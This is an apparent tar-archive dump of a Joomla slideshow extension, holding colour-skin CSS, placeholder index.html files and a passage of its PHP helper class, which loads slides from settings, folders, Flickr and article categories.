	background-position: -120px -640px	;
}
/*GREY SKIN*/
.camera_grey_skin .camera_prevThumbs div {
	background-position: -160px -680px;
}
.camera_grey_skin .camera_nextThumbs div {
	background-position: -190px -680px;
}
.camera_grey_skin .camera_prev > span {
	background-position: 0 -680px;
}
.camera_grey_skin .camera_next > span {
	background-position: -40px -680px;
}
.camera_grey_skin .camera_commands > .camera_play {
	background-position: -80px -680px;
}
.camera_grey_skin .camera_commands > .camera_stop {
	background-position: -120px -680px	;
}
/*INDIGO SKIN*/
.camera_indigo_skin .camera_prevThumbs div {
	background-position: -160px -720px;
}
.camera_indigo_skin .camera_nextThumbs div {
	background-position: -190px -720px;
}
.camera_indigo_skin .camera_prev > span {
	background-position: 0 -720px;
}
.camera_indigo_skin .camera_next > span {
	background-position: -40px -720px;
}
.camera_indigo_skin .camera_commands > .camera_play {
	background-position: -80px -720px;
}
.camera_indigo_skin .camera_commands > .camera_stop {
	background-position: -120px -720px	;
}
/*KHAKI SKIN*/
.camera_khaki_skin .camera_prevThumbs div {
	background-position: -160px -760px;
}
.camera_khaki_skin .camera_nextThumbs div {
	background-position: -190px -760px;
}
.camera_khaki_skin .camera_prev > span {
	background-position: 0 -760px;
}
.camera_khaki_skin .camera_next > span {
	background-position: -40px -760px;
}
.camera_khaki_skin .camera_commands > .camera_play {
	background-position: -80px -760px;
}
.camera_khaki_skin .camera_commands > .camera_stop {
	background-position: -120px -760px	;
}
/*LIME SKIN*/
.camera_lime_skin .camera_prevThumbs div {
	background-position: -160px -800px;
}
.camera_lime_skin .camera_nextThumbs div {
	background-position: -190px -800px;
}
.camera_lime_skin .camera_prev > span {
	background-position: 0 -800px;
}
.camera_lime_skin .camera_next > span {
	background-position: -40px -800px;
}
.camera_lime_skin .camera_commands > .camera_play {
	background-position: -80px -800px;
}
.camera_lime_skin .camera_commands > .camera_stop {
	background-position: -120px -800px	;
}
/*MAGENTA SKIN*/
.camera_magenta_skin .camera_prevThumbs div {
	background-position: -160px -840px;
}
.camera_magenta_skin .camera_nextThumbs div {
	background-position: -190px -840px;
}
.camera_magenta_skin .camera_prev > span {
	background-position: 0 -840px;
}
.camera_magenta_skin .camera_next > span {
	background-position: -40px -840px;
}
.camera_magenta_skin .camera_commands > .camera_play {
	background-position: -80px -840px;
}
.camera_magenta_skin .camera_commands > .camera_stop {
	background-position: -120px -840px	;
}
/*MAROON SKIN*/
.camera_maroon_skin .camera_prevThumbs div {
	background-position: -160px -880px;
}
.camera_maroon_skin .camera_nextThumbs div {
	background-position: -190px -880px;
}
.camera_maroon_skin .camera_prev > span {
	background-position: 0 -880px;
}
.camera_maroon_skin .camera_next > span {
	background-position: -40px -880px;
}
.camera_maroon_skin .camera_commands > .camera_play {
	background-position: -80px -880px;
}
.camera_maroon_skin .camera_commands > .camera_stop {
	background-position: -120px -880px	;
}
/*ORANGE SKIN*/
.camera_orange_skin .camera_prevThumbs div {
	background-position: -160px -920px;
}
.camera_orange_skin .camera_nextThumbs div {
	background-position: -190px -920px;
}
.camera_orange_skin .camera_prev > span {
	background-position: 0 -920px;
}
.camera_orange_skin .camera_next > span {
	background-position: -40px -920px;
}
.camera_orange_skin .camera_commands > .camera_play {
	background-position: -80px -920px;
}
.camera_orange_skin .camera_commands > .camera_stop {
	background-position: -120px -920px	;
}
/*OLIVE SKIN*/
.camera_olive_skin .camera_prevThumbs div {
	background-position: -160px -1080px;
}
.camera_olive_skin .camera_nextThumbs div {
	background-position: -190px -1080px;
}
.camera_olive_skin .camera_prev > span {
	background-position: 0 -1080px;
}
.camera_olive_skin .camera_next > span {
	background-position: -40px -1080px;
}
.camera_olive_skin .camera_commands > .camera_play {
	background-position: -80px -1080px;
}
.camera_olive_skin .camera_commands > .camera_stop {
	background-position: -120px -1080px	;
}
/*PINK SKIN*/
.camera_pink_skin .camera_prevThumbs div {
	background-position: -160px -960px;
}
.camera_pink_skin .camera_nextThumbs div {
	background-position: -190px -960px;
}
.camera_pink_skin .camera_prev > span {
	background-position: 0 -960px;
}
.camera_pink_skin .camera_next > span {
	background-position: -40px -960px;
}
.camera_pink_skin .camera_commands > .camera_play {
	background-position: -80px -960px;
}
.camera_pink_skin .camera_commands > .camera_stop {
	background-position: -120px -960px	;
}
/*PISTACHIO SKIN*/
.camera_pistachio_skin .camera_prevThumbs div {
	background-position: -160px -1040px;
}
.camera_pistachio_skin .camera_nextThumbs div {
	background-position: -190px -1040px;
}
.camera_pistachio_skin .camera_prev > span {
	background-position: 0 -1040px;
}
.camera_pistachio_skin .camera_next > span {
	background-position: -40px -1040px;
}
.camera_pistachio_skin .camera_commands > .camera_play {
	background-position: -80px -1040px;
}
.camera_pistachio_skin .camera_commands > .camera_stop {
	background-position: -120px -1040px	;
}
/*PINK SKIN*/
.camera_pink_skin .camera_prevThumbs div {
	background-position: -160px -80px;
}
.camera_pink_skin .camera_nextThumbs div {
	background-position: -190px -80px;
}
.camera_pink_skin .camera_prev > span {
	background-position: 0 -80px;
}
.camera_pink_skin .camera_next > span {
	background-position: -40px -80px;
}
.camera_pink_skin .camera_commands > .camera_play {
	background-position: -80px -80px;
}
.camera_pink_skin .camera_commands > .camera_stop {
	background-position: -120px -80px;
}
/*RED SKIN*/
.camera_red_skin .camera_prevThumbs div {
	background-position: -160px -1000px;
}
.camera_red_skin .camera_nextThumbs div {
	background-position: -190px -1000px;
}
.camera_red_skin .camera_prev > span {
	background-position: 0 -1000px;
}
.camera_red_skin .camera_next > span {
	background-position: -40px -1000px;
}
.camera_red_skin .camera_commands > .camera_play {
	background-position: -80px -1000px;
}
.camera_red_skin .camera_commands > .camera_stop {
	background-position: -120px -1000px	;
}
/*TANGERINE SKIN*/
.camera_tangerine_skin .camera_prevThumbs div {
	background-position: -160px -1120px;
}
.camera_tangerine_skin .camera_nextThumbs div {
	background-position: -190px -1120px;
}
.camera_tangerine_skin .camera_prev > span {
	background-position: 0 -1120px;
}
.camera_tangerine_skin .camera_next > span {
	background-position: -40px -1120px;
}
.camera_tangerine_skin .camera_commands > .camera_play {
	background-position: -80px -1120px;
}
.camera_tangerine_skin .camera_commands > .camera_stop {
	background-position: -120px -1120px	;
}
/*TURQUOISE SKIN*/
.camera_turquoise_skin .camera_prevThumbs div {
	background-position: -160px -1160px;
}
.camera_turquoise_skin .camera_nextThumbs div {
	background-position: -190px -1160px;
}
.camera_turquoise_skin .camera_prev > span {
	background-position: 0 -1160px;
}
.camera_turquoise_skin .camera_next > span {
	background-position: -40px -1160px;
}
.camera_turquoise_skin .camera_commands > .camera_play {
	background-position: -80px -1160px;
}
.camera_turquoise_skin .camera_commands > .camera_stop {
	background-position: -120px -1160px	;
}
/*VIOLET SKIN*/
.camera_violet_skin .camera_prevThumbs div {
	background-position: -160px -1200px;
}
.camera_violet_skin .camera_nextThumbs div {
	background-position: -190px -1200px;
}
.camera_violet_skin .camera_prev > span {
	background-position: 0 -1200px;
}
.camera_violet_skin .camera_next > span {
	background-position: -40px -1200px;
}
.camera_violet_skin .camera_commands > .camera_play {
	background-position: -80px -1200px;
}
.camera_violet_skin .camera_commands > .camera_stop {
	background-position: -120px -1200px	;
}
/*WHITE SKIN*/
.camera_white_skin .camera_prevThumbs div {
	background-position: -160px -80px;
}
.camera_white_skin .camera_nextThumbs div {
	background-position: -190px -80px;
}
.camera_white_skin .camera_prev > span {
	background-position: 0 -80px;
}
.camera_white_skin .camera_next > span {
	background-position: -40px -80px;
}
.camera_white_skin .camera_commands > .camera_play {
	background-position: -80px -80px;
}
.camera_white_skin .camera_commands > .camera_stop {
	background-position: -120px -80px;
}
/*YELLOW SKIN*/
.camera_yellow_skin .camera_prevThumbs div {
	background-position: -160px -1240px;
}
.camera_yellow_skin .camera_nextThumbs div {
	background-position: -190px -1240px;
}
.camera_yellow_skin .camera_prev > span {
	background-position: 0 -1240px;
}
.camera_yellow_skin .camera_next > span {
	background-position: -40px -1240px;
}
.camera_yellow_skin .camera_commands > .camera_play {
	background-position: -80px -1240px;
}
.camera_yellow_skin .camera_commands > .camera_stop {
	background-position: -120px -1240px	;
}

ul.camera_pag_ul {
	overflow: visible;
}com_slideshowck/extensions/mod_slideshowck/themes/default/css/camera_ie8.css000060400000000122152455305260023504 0ustar00/* IE8 specific css for Slideshow CK */
.camera_wrap:after {
	background: none;
}
com_slideshowck/extensions/mod_slideshowck/themes/default/css/index.html000060400000000037152455305260022777 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/themes/default/index.html000060400000000037152455305260022207 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/index.html000060400000000037152455305260017276 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/helper.php000060400000143714152455305260017303 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Slideshow CK
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die;

/** 
 * NOTE : THIS FILE IS USED FOR B/C OF THE V1 FEATURES ONLY !! 
 */
 
 
//$com_path = JPATH_SITE . '/components/com_content/';
//require_once $com_path . 'router.php';
//require_once $com_path . 'helpers/route.php';
//\Joomla\CMS\MVC\Model\BaseDatabaseModel::addIncludePath($com_path . '/models', 'ContentModel');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

class modSlideshowckHelper {

	private static $_params;

	private static $folderLabels = array();

	private static $imagesOrderByLabels = array();

	/**
	 * Get a list of the items.
	 *
	 * @param	\Joomla\Registry\Registry	$params	The module options.
	 *
	 * @return	array
	 */
	static function getItems(&$params) {
		// Initialise variables.
		self::$_params = $params;
		$db = \Joomla\CMS\Factory::getDbo();
		$document = \Joomla\CMS\Factory::getDocument();

		// load the libraries
		//jimport('joomla.application.module.helper');
		$items = json_decode(str_replace("|qq|", "\"", $params->get('slides')));
		foreach ($items as $i => $item) {
			if (!$item->imgname) {
				unset($items[$i]);
				continue;
			}

			// check if the slide is published
			if (isset($item->state) && $item->state == '0') {
				unset($items[$i]);
				continue;
			}

			// check the slide start date
			if (isset($item->startdate) && $item->startdate) {
				// if (date("d M Y") < $item->startdate) {
				if (time() < strtotime($item->startdate)) {
					unset($items[$i]);
					continue;
				}
			}

			// check the slide end date
			if (isset($item->enddate) && $item->enddate) {
				// if (date("d M Y") > $item->enddate) {
				if (time() > strtotime($item->enddate)) {
					unset($items[$i]);
					continue;
				}
			}

			if (isset($item->slidearticleid) && $item->slidearticleid) {
				$item = self::getArticle($item, $params);
			} else {
				$item->article = null;
			}
			// create new images for mobile
			if ($params->get('usemobileimage', '0')) { 
				$resolutions = explode(',', $params->get('mobileimageresolution', '640'));
				foreach ($resolutions as $resolution) {
					self::resizeImage($item->imgname, (int)$resolution, '', (int)$resolution, '');
				}
			}

			if (stristr($item->imgname, "http")) {
				$item->imgthumb = $item->imgname;
			} else {
				// renomme le fichier
				$thumbext = explode(".", $item->imgname);
				$thumbext = end($thumbext);
				// crée la miniature
				if ($params->get('thumbnails', '1') == '1' && $params->get('autocreatethumbs','1')) {
					$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . self::resizeImage($item->imgname, $params->get('thumbnailwidth', '182'), $params->get('thumbnailheight', '187'));
				} else {
					$thumbfile = str_replace(\Joomla\CMS\Filesystem\File::getName($item->imgname), "th/" . \Joomla\CMS\Filesystem\File::getName($item->imgname), $item->imgname);
					$thumbfile = str_replace("." . $thumbext, "_th." . $thumbext, $thumbfile);
					$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . $thumbfile;
				}
				$item->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $item->imgname;
			}

			// set the videolink
			if ($item->imgvideo)
				$item->imgvideo = self::setVideolink($item->imgvideo);

			// manage the title and description
			if (stristr($item->imgcaption, "||")) {
				$splitcaption = explode("||", $item->imgcaption);
				$item->imgcaption = '<div class="slideshowck_title">' . $splitcaption[0] . '</div><div class="slideshowck_description">' . $splitcaption[1] . '</div>';
			}
			
			// route the url
			if (strcasecmp(substr($item->imglink, 0, 4), 'http') && (strpos($item->imglink, 'index.php?') !== false)) {
				$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink, true, false);
			} else {
				$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink);
			}
			
			if (!isset($item->imgtitle)) $item->imgtitle = '';
		}

		return $items;
	}

	static function getArticle(&$item, $params) {
		$com_path = JPATH_SITE . '/components/com_content/';
		require_once $com_path . 'router.php';
		require_once $com_path . 'helpers/route.php';
		\Joomla\CMS\MVC\Model\BaseDatabaseModel::addIncludePath($com_path . '/models', 'ContentModel');
		self::$_params = $params;
		// Access filter
		$access = !\Joomla\CMS\Component\ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = \Joomla\CMS\Access\Access::getAuthorisedViewLevels(\Joomla\CMS\Factory::getUser()->get('id'));
		// Get an instance of the generic articles model
		$articles = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
		// Set application parameters in model
		$app = \Joomla\CMS\Factory::getApplication();
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);
		$articles->setState('filter.published', 1);
		$articles->setState('filter.article_id', $item->slidearticleid);
		$items2 = $articles->getItems();
		$item->article = $items2[0];
		$item->article->text = \Joomla\CMS\HTML\HTMLHelper::_('content.prepare', $item->article->introtext);
		$item->article->text = self::truncate($item->article->text, $params->get('articlelength', '150'));
		// $item->article->text = \Joomla\CMS\HTML\HTMLHelper::_('string.truncate',$item->article->introtext,'150');
		// set the item link to the article depending on the user rights
		if ($access || in_array($item->article->access, $authorised)) {
			// We know that user has the privilege to view the article
			$item->slug = $item->article->id . ':' . $item->article->alias;
			$item->catslug = $item->article->catid ? $item->article->catid . ':' . $item->article->category_alias : $item->article->catid;
			$item->article->link = \Joomla\CMS\Router\Route::_(\Joomla\Component\Content\Site\Helper\RouteHelper::getArticleRoute($item->slug, $item->catslug));
		} else {
			$app = \Joomla\CMS\Factory::getApplication();
			$menu = $app->getMenu();
			$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');
			if (isset($menuitems[0])) {
				$Itemid = $menuitems[0]->id;
			} elseif (JRequest::getInt('Itemid') > 0) {
				$Itemid = JRequest::getInt('Itemid');
			}
			$item->article->link = \Joomla\CMS\Router\Route::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
		}
		return $item;
	}

	/**
	 * Get a list of the items.
	 *
	 * @param	\Joomla\Registry\Registry	$params	The module options.
	 *
	 * @return	array
	 */
	static function getItemsFromfolder(&$params) {
		self::$_params = $params;
		$authorisedExt = array('png', 'jpg', 'JPG', 'JPEG', 'jpeg', 'bmp', 'tiff', 'gif');
		$items = json_decode(str_replace("|qq|", "\"", $params->get('slidesfromfolder')));
		foreach ($items as & $item) {
//			$item->imgname = str_replace(\Joomla\CMS\Uri\Uri::base(), '', $item->imgname);
			$item->imgthumb = '';
			$item->imgname = trim($item->imgname, '/');
			$item->imgname = trim($item->imgname, '\\');
			// create new images for mobile
			if ($params->get('usemobileimage', '0')) { 
				self::resizeImage($item->imgname, $params->get('mobileimageresolution', '640'), '', $params->get('mobileimageresolution', '640'), '');
			}
			if ($params->get('thumbnails', '1') == '1')
				$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . self::resizeImage($item->imgname, $params->get('thumbnailwidth', '100'), $params->get('thumbnailheight', '75'));
			$thumbext = explode(".", $item->imgname);
			$thumbext = end($thumbext);
			// set the variables
			$item->imgvideo = null;
			$item->slideselect = null;
			$item->slideselect = null;
			$item->imgcaption = null;
			$item->article = null;
			$item->slidearticleid = null;
			$item->imgalignment = null;
			$item->imgtarget = 'default';
			$item->imgtime = null;
			$item->imglink = null;
			$item->imgtitle = null;

			if (!in_array(strToLower(\Joomla\CMS\Filesystem\File::getExt($item->imgname)), $authorisedExt))
				continue;

			// load the image data from txt
			$item = self::getImageDataFromfolder($item, $params);
			$item->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $item->imgname;
			
			// route the url
			if (strcasecmp(substr($item->imglink, 0, 4), 'http') && (strpos($item->imglink, 'index.php?') !== false)) {
				$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink, true, false);
			} else {
				$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink);
			}
		}

		return $items;
	}
	
	static function getItemsAutoloadfolder(&$params) {
		self::$_params = $params;
		$authorisedExt = array('png', 'jpg', 'JPG', 'JPEG', 'jpeg', 'bmp', 'tiff', 'gif');
		$folder = trim($params->get('autoloadfoldername'), '/');
		if (file_exists($folder . '/labels.txt')) {
			$items = self::loadImagesFromFolder($folder);
		} else {
			$items = \Joomla\CMS\Filesystem\Folder::files($folder, '.jpg|.png|.jpeg|.gif|.JPG|.JPEG|.jpeg', false, true);
			foreach ($items as $i => $name) {
				$item = new stdClass();
				// $item->imgname = str_replace(\Joomla\CMS\Uri\Uri::base(),'', $item->imgname);
				$item->imgthumb = '';
				$item->imgname = trim(str_replace('\\','/',$name), '/');
				$item->imgname = trim($item->imgname, '\\');
				// create new images for mobile
				if ($params->get('usemobileimage', '0')) { 
					self::resizeImage($item->imgname, $params->get('mobileimageresolution', '640'), '', $params->get('mobileimageresolution', '640'), '');
				}
				if ($params->get('thumbnails', '1') == '1')
					$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . self::resizeImage($item->imgname, $params->get('thumbnailwidth', '100'), $params->get('thumbnailheight', '75'));
				$thumbext = explode(".", $item->imgname);
				$thumbext = end($thumbext);
				// set the variables
				$item->imgvideo = null;
				$item->slideselect = null;
				$item->slideselect = null;
				$item->imgcaption = null;
				$item->article = null;
				$item->slidearticleid = null;
				$item->imgalignment = null;
				$item->imgtarget = 'default';
				$item->imgtime = null;
				$item->imglink = null;
				$item->imgtitle = null;

				if (!in_array(strToLower(\Joomla\CMS\Filesystem\File::getExt($item->imgname)), $authorisedExt))
					continue;

				// load the image data from txt
				$item = self::getImageDataFromfolder($item, $params);
				$item->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $item->imgname;
				$items[$i] = $item;

				// route the url
				if (strcasecmp(substr($item->imglink, 0, 4), 'http') && (strpos($item->imglink, 'index.php?') !== false)) {
					$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink, true, false);
				} else {
					$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink);
				}
			}
		}
		return $items;
	}

	/*
	 * Load the image from the specified folder 
	 */
	public static function loadImagesFromFolder($directory) {

		// encode the folder path, needed if contains an accent
		try {
			$translatedDirectory = iconv("UTF-8", "ISO-8859-1//TRANSLIT", urldecode($directory));
			if ($translatedDirectory) $directory = $translatedDirectory;
		} catch (Exception $e) {
			echo 'CK Message : ',  $e->getMessage(), "\n";
		}

		// load the files from the folder
		$files = \Joomla\CMS\Filesystem\Folder::files(trim(trim($directory), '/'), '.', false, true);

		if (! $files) return 'CK message : No files found in the directory : ' . $directory;

		self::$imagesOrderByLabels = array();
		// load the labels from the folder
		self::getImageLabelsFromFolder($directory);

		$order = self::$_params->get('displayorder');
		// set the images order
		if ($order == 'shuffle') {
			shuffle($files);
		} else 
//			if(isset($params->order) && $params->order == 'labels') 
				{
			natsort($files);
			$files = array_map(array(__CLASS__, 'formatPath'), $files);
			$baseDir = self::formatPath($directory);
			$labelsOrder = array_reverse(self::$imagesOrderByLabels);
			foreach ($labelsOrder as $name) {
				$imgFile = $baseDir . '/' . $name;
				array_unshift($files, $imgFile);
			}
			// now make it unique
			$files = array_unique($files);
		} 
//		else {
//			natsort($files);
//		}

		$authorisedExt = array('png','jpg','jpeg','bmp','tiff','gif');
		$items = array();
		$i = 0;
		foreach ($files as $file) {
			$fileExt = \Joomla\CMS\Filesystem\File::getExt($file);
			if (!in_array(strToLower($fileExt),$authorisedExt)) continue;

			$item = new stdClass();
			// set the variables
			$item->imgvideo = null;
			$item->slideselect = null;
			$item->slideselect = null;
			$item->imgcaption = null;
			$item->article = null;
			$item->slidearticleid = null;
			$item->imgalignment = null;
			$item->imgtarget = 'default';
			$item->imgtime = null;
			$item->imglink = null;
			$item->imgtitle = null;

			// limit the number of images
//			if (isset($params->number) && $params->number > 0 && $i > (int)$params->number) $show = false;

			// get the data for the image
			$filedata = self::getImageDataFromfolder2($file, $directory);

			$file = str_replace("\\", "/", iconv('ISO-8859-1', 'UTF-8', $file));
			if (isset($filedata->link) && $filedata->link) {
				$item->imglink = $filedata->link;
			} else {
				$videoFile = str_replace($fileExt, 'mp4', $file);
				$hasVideo = file_exists($videoFile);
				$item->imglink = $hasVideo ? $videoFile : $file;
			}

			$item->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $file;
			$item->imgthumb = $item->imgname;
			$item->imgtitle = $filedata->title;
			$item->imgcaption = $filedata->desc;
			$item->imgvideo = $filedata->video;
//			$linktitle = $filedata->title || $filedata->desc ? ($filedata->desc ? $filedata->title . '::' . $filedata->desc : $filedata->title) : $title;

			$items[$i] = $item;
			$i++;
		}

		return $items;
	}

	/*
	 * Remove special character
	 */
	private static function cleanName($path) {
		return preg_replace('/[^a-z0-9]/i', '_', $path);
	}

	public static function formatPath($p) {
		return trim(str_replace("\\", "/", $p), "/");
	}

	private static function getImageLabelsFromFolder($directory) {
		$dirindex = self::cleanName($directory);
		if (! empty(self::$folderLabels[$dirindex])) return;

		$items = array();
		$item = new stdClass();

		// get the language
		$lang = \Joomla\CMS\Factory::getLanguage();
		$langtag = $lang->getTag(); // returns fr-FR or en-GB

		// load the image data from txt
		if (file_exists(JPATH_ROOT . '/' . $directory . '/labels.' . $langtag . '.txt')) {
			$data = file_get_contents(JPATH_ROOT . '/' . $directory . '/labels.' . $langtag . '.txt');
		} else if (file_exists(JPATH_ROOT . '/' . $directory . '/labels.txt')) {
			$data = file_get_contents(JPATH_ROOT . '/' . $directory . '/labels.txt');
		} else {
			return null;
		}

		$doUTF8encode = true;
		// remove UTF-8 BOM and normalize line endings
		if (!strcmp("\xEF\xBB\xBF", substr($data,0,3))) {  // file starts with UTF-8 BOM
			$data = substr($data, 3);  // remove UTF-8 BOM
			$doUTF8encode = false;
		}
		$data = str_replace("\r", "\n", $data);  // normalize line endings

		// if no data found, exit
		if(! $data) return null;

		// explode the file into rows
		// $imgdatatmp = explode("\n", $data);
		$imgdatatmp = preg_split("/\r\n|\n|\r/", $data, -1, PREG_SPLIT_NO_EMPTY);

		$parmsnumb = count($imgdatatmp);
		for ($i = 0; $i < $parmsnumb; $i++) {
			$imgdatatmp[$i] = trim($imgdatatmp[$i]);
			$line = explode('|', $imgdatatmp[$i]);

			// store the order or files from the TXT file
			self::$imagesOrderByLabels[] = $line[0];

			$item = new stdClass();
			$item->index = self::cleanName($line[0]);
			$item->title = (isset($line[1])) ? ( $doUTF8encode ? (iconv('ISO-8859-1', 'UTF-8', $line[1])) : ($line[1]) ) : '';
			$item->desc = (isset($line[2])) ? ( $doUTF8encode ? (iconv('ISO-8859-1', 'UTF-8', $line[2])) : ($line[2]) ) : '';
			$item->link = (isset($line[3])) ? ( $doUTF8encode ? (iconv('ISO-8859-1', 'UTF-8', $line[3])) : ($line[3]) ) : '';
			$item->video = (isset($line[4])) ? ( $doUTF8encode ? (iconv('ISO-8859-1', 'UTF-8', $line[4])) : ($line[4]) ) : '';

			$items[$item->index] = $item;
		}

		self::$folderLabels[$dirindex] = $items;
	}

	/*
	 * Load the data for the image (title and description)
	 */
	private static function getImageDataFromfolder2($file, $directory) {
		$filename = explode('/', $file);
		$filename = end($filename);
		$dirindex = self::cleanName($directory);
		$fileindex = self::cleanName($filename);

		if (! empty(self::$folderLabels[$dirindex]) && ! empty(self::$folderLabels[$dirindex][$fileindex])) {
				$item = self::$folderLabels[$dirindex][$fileindex];
		} else {
			$item = new stdClass();
			$item->title = null;
			$item->desc = null;
			$item->video = null;
			// old method, get image data from txt file with image name // TODO : remove
			// $item = self::getImageDataFromImageTxt($file)
		}

		return $item;
	}

	/**
	 * Get a list of the items.
	 *
	 * @param	\Joomla\Registry\Registry	$params	The module options.
	 *
	 * @return	array
	 */
	static function getItemsAutoloadflickr(&$params) {
		self::$_params = $params;

		$url = 'https://api.flickr.com/services/rest/?format=json&method=flickr.photosets.getPhotos&extras=description,original_format,url_sq,url_t,url_s,url_m,url_o&nojsoncallback=1';
		$url .= '&api_key=' . $params->get('flickr_apikey');
		$url .= '&photoset_id=' . $params->get('flickr_photoset');

		if (ini_get('allow_url_fopen') && function_exists('file_get_contents')) {  
			$result = file_get_contents($url);  
		}
		// look for curl
		if ($result == '' && extension_loaded('curl')) {
			$ch = curl_init();  
			$timeout = 30;  
			curl_setopt($ch, CURLOPT_URL, $url);  
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);  
			$result = curl_exec($ch);  
			curl_close($ch);  
		}

		$images = json_decode($result)->photoset->photo;
		$items = Array();
		$i = 0;
		$flickrSuffixes = array('o', 'k', 'h', 'b', 'z', 'sq', 't', 'sm', 'm');
		foreach ($images as & $image) {
			$items[$i] = new stdClass();
			$item = $items[$i];
			$suffix = 'o';
			foreach ($flickrSuffixes as $flickrSuffixe) {
				if (isset($image->{'url_' . $flickrSuffixe})) {
					$suffix = $flickrSuffixe;
					break;
				}
			}
			$item->imgname = $image->{'url_' . $suffix};
			$item->imgthumb = $item->imgname;
			// create new images for mobile
			// if ($params->get('usemobileimage', '0')) { 
				// self::resizeImage($item->imgname, $params->get('mobileimageresolution', '640'), '', $params->get('mobileimageresolution', '640'), '');
			// }
			// if ($params->get('thumbnails', '1') == '1')
				// $item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . self::resizeImage($item->imgname, $params->get('thumbnailwidth', '100'), $params->get('thumbnailheight', '75'));
			// $thumbext = explode(".", $item->imgname);
			// $thumbext = end($thumbext);
			// set the variables
			$item->imgvideo = null;
			$item->slideselect = null;
			$item->slideselect = null;
			$item->imgcaption = null;
			$item->article = null;
			$item->slidearticleid = null;
			$item->imgalignment = null;
			$item->imgtarget = 'default';
			$item->imgtime = null;
			$item->imglink = null;
			$item->imgtitle = null;

			// show the title and description of the image
			if ($params->get('flickr_showcaption', '1')) {
				$item->imgtitle = $image->title;
				$item->imgcaption = $image->description->_content;
			}

			// set the link to the image
			if ($params->get('flickr_autolink', '0')) {
				$item->imglink = $image->{'url_' . $suffix};
			}

			$i++;
		}

		return $items;
	}

	static function getItemsAutoloadarticlecategory(&$params) {
		$com_path = JPATH_SITE . '/components/com_content/';
		require_once $com_path . 'router.php';
		require_once $com_path . 'helpers/route.php';
		\Joomla\CMS\MVC\Model\BaseDatabaseModel::addIncludePath($com_path . '/models', 'ContentModel');
		// Get an instance of the generic articles model
		$articles = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app = \Joomla\CMS\Factory::getApplication();
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		// Set the filters based on the module params
		$articles->setState('list.start', 0);
//		$articles->setState('list.limit', (int) $params->get('count', 0)); // must check if the image exists
		$articles->setState('list.limit', 0);
		$articles->setState('filter.published', 1);

		// Access filter
		$access = !\Joomla\CMS\Component\ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = \Joomla\CMS\Access\Access::getAuthorisedViewLevels(\Joomla\CMS\Factory::getUser()->get('id'));
		$articles->setState('filter.access', $access);

		// Prep for Normal or Dynamic Modes
		$mode = $params->get('mode', 'normal');
		switch ($mode)
		{
			case 'dynamic':
				$option = JRequest::getCmd('option');
				$view = JRequest::getCmd('view');
				if ($option === 'com_content') {
					switch($view)
					{
						case 'category':
							$catids = array(JRequest::getInt('id'));
							break;
						case 'categories':
							$catids = array(JRequest::getInt('id'));
							break;
						case 'article':
							if ($params->get('show_on_article_page', 1)) {
								$article_id = JRequest::getInt('id');
								$catid = JRequest::getInt('catid');

								if (!$catid) {
									// Get an instance of the generic article model
									$article = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Article', 'ContentModel', array('ignore_request' => true));

									$article->setState('params', $appParams);
									$article->setState('filter.published', 1);
									$article->setState('article.id', (int) $article_id);
									$item = $article->getItem();

									$catids = array($item->catid);
								}
								else {
									$catids = array($catid);
								}
							}
							else {
								// Return right away if show_on_article_page option is off
								return;
							}
							break;

						case 'featured':
						default:
							// Return right away if not on the category or article views
							return;
					}
				}
				else {
					// Return right away if not on a com_content page
					return;
				}

				break;

			case 'normal':
			default:
				$catids = $params->get('catid');
				$articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1));
				break;
		}

		// Category filter
		if ($catids) {
			if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0) {
				// Get an instance of the generic categories model
				$categories = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Categories', 'ContentModel', array('ignore_request' => true));
				$categories->setState('params', $appParams);
				$levels = $params->get('levels', 1) ? $params->get('levels', 1) : 9999;
				$categories->setState('filter.get_children', $levels);
				$categories->setState('filter.published', 1);
				$categories->setState('filter.access', $access);
				$additional_catids = array();

				foreach($catids as $catid)
				{
					$categories->setState('filter.parentId', $catid);
					$recursive = true;
					$items = $categories->getItems($recursive);

					if ($items)
					{
						foreach($items as $category)
						{
							$condition = (($category->level - $categories->getParent()->level) <= $levels);
							if ($condition) {
								$additional_catids[] = $category->id;
							}

						}
					}
				}

				$catids = array_unique(array_merge($catids, $additional_catids));
			}

